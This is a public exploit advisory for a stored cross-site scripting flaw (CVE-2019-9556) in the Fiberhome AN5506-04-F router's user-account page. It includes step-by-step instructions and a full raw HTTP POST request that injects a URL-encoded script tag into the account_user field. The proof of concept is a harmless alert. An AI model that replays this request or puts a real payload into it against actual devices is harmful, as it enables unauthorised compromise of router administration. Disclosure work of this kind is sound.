# Exploit Title: Fiberhome AN5506-04-F - Stored Cross Site Scripting # Date: 04.03.2019 # Exploit Author: Tauco # Vendor Homepage: http://www.fiberhomegroup.com/en/ # Version: RP2669 # Tested on: Windows 10 # CVE : CVE-2019-9556 Description: =========================================================================== Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the useras browser under the privileges of the web application. https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Proof of concept : =========================================================================== 1. Login with credential 192.168.1.1 2. Go to Management 3. Open User Account 4. Add user 5. Inject the post parameter "account_user" 6. Encode Url <script>alert("XSS")</script> POST /goform/setUser HTTP/1.1 Host: 192.168.1.1 Content-Length: 101 Cache-Control: max-age=0 Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.1.1/management/account_admin.asp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: loginName=admin Connection: close account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_pwd=password123&account_pwd2=password123&btnApply1=Apply&curIndex=new